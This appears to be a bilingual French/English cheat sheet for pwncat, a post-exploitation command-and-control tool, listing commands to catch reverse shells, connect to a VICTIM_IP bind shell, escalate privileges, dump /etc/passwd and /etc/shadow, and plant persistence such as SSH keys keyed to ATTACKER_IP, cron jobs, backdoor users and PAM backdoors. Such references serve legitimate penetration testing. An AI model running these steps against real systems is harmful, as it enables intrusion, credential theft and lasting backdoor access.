pwncat
Outil de post-exploitation inspiré de netcat qui met automatiquement à niveau les shells vers des PTY pleinement interactifs, exécute des commandes locales/distantes, et automatise les tâches courantes de post-exploitation. Netcat-inspired post-exploitation tool that auto-upgrades shells to fully interactive PTYs, runs local/remote commands, and automates common post-exploitation tasks.
↗ https://github.com/calebstewart/pwncatOverview
pwncat is a command-and-control framework for Linux targets focused on ease-of-use. It auto-upgrades raw shells to fully interactive PTYs, provides a local command interface alongside the remote shell, and includes modules for enumeration, persistence, and privilege escalation.
Installation
pip3 install pwncat-cs
# or
git clone https://github.com/calebstewart/pwncat && cd pwncat && pip3 install .
Starting Listeners & Connecting
Listen for incoming connection (reverse shell)
pwncat-cs -l -p 4444
Connect to a bind shell
pwncat-cs VICTIM_IP:4444
SSH connection (manages an interactive SSH session)
pwncat-cs ssh://user:password@target.com
Listen and automatically run a module on connect
pwncat-cs -l -p 4444 --self-inject
Shell Interaction
# After connection, pwncat auto-upgrades to a PTY
# Local commands use the prefix character (default: Ctrl+D)
# Send remote command
(remote) $ whoami
(remote) $ id
Switch to local shell (for file operations / running local commands)
Ctrl+D # Toggle between local and remote
Local Commands (pwncat interface)
# In pwncat's local shell:
(local) pwncat$ help # List commands
# File operations
(local) pwncat$ download /remote/file /local/dest
(local) pwncat$ upload /local/file /remote/dest
# Module execution
(local) pwncat$ run enumerate # Run enumeration
(local) pwncat$ run escalate # Attempt privilege escalation
(local) pwncat$ run implant # Install persistence
# List sessions
(local) pwncat$ sessions
# List implants (persistence mechanisms)
(local) pwncat$ implants list
(local) pwncat$ implants remove
Modules
Enumerate the target
(local) pwncat$ run enumerate.gather
Try automated local privilege escalation
(local) pwncat$ run escalate.auto
# Install persistence (cron, authorized_keys, suid bash, etc.)
(local) pwncat$ run implant.authorized_key lhost=ATTACKER_IP
(local) pwncat$ run implant.cron
Enumerate SUID binaries
(local) pwncat$ run enumerate.file.suid
Find writable directories
(local) pwncat$ run enumerate.file.writable
Dump /etc/passwd and /etc/shadow
(local) pwncat$ run enumerate.user
Configuration
# ~/.config/pwncat/pwncatrc (Python config)
# Set default listener port
config.set("lhost", "10.10.10.1")
config.set("lport", 4444)
# Set download directory
config.set("download_dir", "/tmp/loot")
Tips
- pwncat automatically handles pty allocation — no manual
python3 -c 'import pty...'needed downloadanduploadwork reliably even over unstable shells- The
escalatemodule chains multiple privesc techniques automatically (sudo, SUID, etc.) - Works best on Linux targets; Windows support is limited
Key modules reference
enumerate.*
enumerate.gather Full system enumeration
enumerate.user User/group info
enumerate.file.suid SUID/SGID binaries
enumerate.file.writable Writable directories
enumerate.service Running services
enumerate.sudo Sudo permissions
escalate.*
escalate.auto Automated privesc chain
escalate.sudo Sudo-based escalation
escalate.suid SUID binary abuse
escalate.screen4 screen 4.5.0 exploit
implant.*
implant.authorized_key Add SSH key
implant.cron Cron-based persistence
implant.passwd Add backdoor user
implant.pam PAM module backdoor
Vue d’ensemble
pwncat est un framework de command-and-control pour cibles Linux, axé sur la facilité d’utilisation. Il met automatiquement à niveau les shells bruts en PTY pleinement interactifs, fournit une interface de commande locale en parallèle du shell distant, et inclut des modules d’énumération, de persistance et d’élévation de privilèges.
Installation
pip3 install pwncat-cs
# ou
git clone https://github.com/calebstewart/pwncat && cd pwncat && pip3 install .
Démarrer des listeners et se connecter
# Écouter les connexions entrantes (reverse shell)
pwncat-cs -l -p 4444
# Se connecter à un bind shell
pwncat-cs VICTIM_IP:4444
# Connexion SSH (gère une session SSH interactive)
pwncat-cs ssh://user:password@target.com
# Écouter et lancer automatiquement un module à la connexion
pwncat-cs -l -p 4444 --self-inject
Interaction avec le shell
# Après la connexion, pwncat effectue automatiquement une mise à niveau vers un PTY
# Les commandes locales utilisent le caractère préfixe (par défaut : Ctrl+D)
# Envoyer une commande distante
(remote) $ whoami
(remote) $ id
Basculer vers le shell local (pour les opérations sur fichiers / exécuter des commandes locales)
Ctrl+D # Basculer entre local et distant
Commandes locales (interface pwncat)
# Dans le shell local de pwncat :
(local) pwncat$ help # Lister les commandes
# Opérations sur fichiers
(local) pwncat$ download /remote/file /local/dest
(local) pwncat$ upload /local/file /remote/dest
# Exécution de modules
(local) pwncat$ run enumerate # Lancer l'énumération
(local) pwncat$ run escalate # Tenter une élévation de privilèges
(local) pwncat$ run implant # Installer la persistance
# Lister les sessions
(local) pwncat$ sessions
# Lister les implants (mécanismes de persistance)
(local) pwncat$ implants list
(local) pwncat$ implants remove
Modules
# Énumérer la cible
(local) pwncat$ run enumerate.gather
# Tenter une élévation de privilèges locale automatisée
(local) pwncat$ run escalate.auto
# Installer la persistance (cron, authorized_keys, suid bash, etc.)
(local) pwncat$ run implant.authorized_key lhost=ATTACKER_IP
(local) pwncat$ run implant.cron
# Énumérer les binaires SUID
(local) pwncat$ run enumerate.file.suid
# Trouver les répertoires inscriptibles
(local) pwncat$ run enumerate.file.writable
# Dumper /etc/passwd et /etc/shadow
(local) pwncat$ run enumerate.user
Configuration
# ~/.config/pwncat/pwncatrc (config Python)
# Définir le port du listener par défaut
config.set("lhost", "10.10.10.1")
config.set("lport", 4444)
# Définir le répertoire de téléchargement
config.set("download_dir", "/tmp/loot")
Conseils
- pwncat gère automatiquement l’allocation du pty : pas besoin du traditionnel
python3 -c 'import pty...' downloadetuploadfonctionnent de manière fiable même sur des shells instables- Le module
escalateenchaîne automatiquement plusieurs techniques de privesc (sudo, SUID, etc.) - Fonctionne mieux sur des cibles Linux ; le support Windows est limité
Référence des modules clés
enumerate.*
enumerate.gather Full system enumeration
enumerate.user User/group info
enumerate.file.suid SUID/SGID binaries
enumerate.file.writable Writable directories
enumerate.service Running services
enumerate.sudo Sudo permissions
escalate.*
escalate.auto Automated privesc chain
escalate.sudo Sudo-based escalation
escalate.suid SUID binary abuse
escalate.screen4 screen 4.5.0 exploit
implant.*
implant.authorized_key Add SSH key
implant.cron Cron-based persistence
implant.passwd Add backdoor user
implant.pam PAM module backdoor